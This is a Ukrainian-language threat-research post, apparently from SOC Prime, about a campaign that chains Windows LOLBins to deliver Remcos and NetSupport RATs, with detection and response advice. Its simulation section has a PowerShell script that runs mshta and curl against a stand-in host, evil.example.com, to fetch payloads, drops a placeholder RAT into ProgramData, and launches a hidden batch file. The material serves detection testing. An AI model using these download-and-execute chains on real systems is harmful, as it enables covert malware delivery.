SOC Prime Bias: Середній

23 Jan 2026 15:03 UTC

Чи Можна Надмірно Використовувати LOLBins для Доставлення Пейлоадів RAT?

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
Чи Можна Надмірно Використовувати LOLBins для Доставлення Пейлоадів RAT?
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Цей звіт описує багатостадійний ланцюг інфекції, який агресивно використовує вбудовані утиліти Windows (LOLBins) для отримання та запуску засобів віддаленого доступу, таких як Remcos та NetSupport Manager. Оператор використовує forfiles, mshta, PowerShell, curl, tar, WScript та цільові зміни в реєстрі для завантаження корисного навантаження, встановлення стійкості та зниження видимості. Робочий процес також використовує поведінку living-off-the-land для непомітного злиття з рутинною адміністративною діяльністю. Malwarebytes виявив цю активність і заблокував пов’язану IP-адресу. Загалом це підкреслює, наскільки широке використання LOLBins може надійно доставити RAT.

Розслідування

Дослідники вперше побачили, як forfiles.exe запускає mshta, що завантажує шкідливий HTA, який використовує PowerShell для отримання PDF приманки, що містить TAR архів. Після вилучення троянізований glaxnimate.exe скидає фрагментовані компоненти в ProgramData, потім повторно збирає і запускає їх за допомогою WScript, пакетних скриптів та допоміжних файлів. Стійкість була встановлена шляхом створення значення UserInitMprLogonScript під HKCUEnvironment, що посилалося на шкідливий клієнтський бінарний файл.

Захист

Моніторинг аномальної виконання LOLBin, зокрема forfiles, mshta, curl, tar, expand і підозрілих редагувань реєстру в межах HKCUEnvironment. Примусове використання білого списку додатків, увімкніть комплексний журнал PowerShell і заборонити виконання скриптів з ProgramData, щоб обмежити завантаження. Блокуйте незвичайний вихід HTTP до невідомих IP і застосовуйте фільтрацію URL для порушення початкових спроб завантаження.

Відповідь

Коли виявлено, ізолюйте хост, захопіть повну телеметрію командного рядка і зберіть скинуті артефакти для хеш-аналізу. Видаліть шкідливий запис реєстру і видаліть файли, створені в ProgramData. Проведіть сканування кінцевої точки з поточними антивірусними сигнатурами і впровадьте блокування на рівні мережі для IP-адреси нападника та будь-яких пов’язаних доменів.

Потік Атаки

Виконання симуляції

Умова: Попередня перевірка телеметрії та базової лінії має бути успішною.

Обґрунтування: У цьому розділі викладено точне виконання техніки суперника (TTP), призначеної для спрацьовування правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати ідентифіковані TTP і мають на меті генерувати точну телеметрію, очікувану виявною логікою.

  • Опис атаки та команди:
    Оператор червоної команди прагне розгорнути Remcos RAT за допомогою ланцюга LOLBins, щоб уникнути безпосереднього завантаження виконуваного файлу.

    1. Виявлення та інсценування: Use forfiles.exe щоб знайти цільовий каталог і запустити mshta зі шкідливою URL-адресою, що містить HTA завантаження.
    2. Файлове завантаження PowerShell: Виклик powershell.exe з -NoProfile -Command curl щоб витягнути сценарій другого етапу з сервера C2.
    3. Виконання VBScript: Розгорнути створений processor.vbs via WScript.exe щоб записати виконуваний файл RAT в %ProgramData%.
    4. Скидач пакетів: Запустити прихований пакетний файл (patcher.bat) через cmd.exe викликаний через IWshShell3.Run для остаточного встановлення стійкості.

    Кожен крок генерує окремий подію створення процесу, яка відповідає одній з вибірок Sigma, забезпечуючи спрацьовування правила.

  • Скрипт регресійного тесту:
    Скрипт нижче відтворює чотири вибірки в контрольованій лабораторії. Він реєструє кожну команду до тимчасового файлу для пізнішої перевірки.

    #-------------------------------------------------
    # Імітація зловживання LOLBin – спрацьовує правило Sigma
    #-------------------------------------------------
    $log = "$env:TEMPlolbin_simulation.log"
    Clear-Content -Path $log -ErrorAction SilentlyContinue
    
    # 1. forfiles.exe -> mshta
    $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"'
    Write-Output "[+] Виконання: $cmd1" | Tee-Object -FilePath $log
    Invoke-Expression $cmd1
    
    # 2. powershell.exe -> curl завантаження
    $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"'
    Write-Output "[+] Виконання: $cmd2" | Tee-Object -FilePath $log
    Invoke-Expression $cmd2
    
    # 3. wscript.exe -> processor.vbs
    $vbsPath = "$env:ProgramDataprocessor.vbs"
    @"
    Set fso = CreateObject("Scripting.FileSystemObject")
    fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious"
    "@ | Set-Content -Path $vbsPath -Encoding ASCII
    $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`""
    Write-Output "[+] Виконання: $cmd3" | Tee-Object -FilePath $log
    Invoke-Expression $cmd3
    
    # 4. IWshShell3.Run -> cmd /c patcher.bat
    $batPath = "$env:ProgramDatapatcher.bat"
    "@
    echo @echo off > %TEMP%nothing.txt
    "@ | Set-Content -Path $batPath -Encoding ASCII
    $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`""
    Write-Output "[+] Виконання: $cmd4 (через IWshShell3.Run)" | Tee-Object -FilePath $log
    Invoke-Expression $cmd4
    
    Write-Output "[+] Імітація завершена." | Tee-Object -FilePath $log
  • Команди очищення:
    Видалити артефакти, щоб відновити хост до чистого стану.

    # Очищення артефактів імітації LOLBin
    Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue
    Write-Output "[+] Очищення завершено."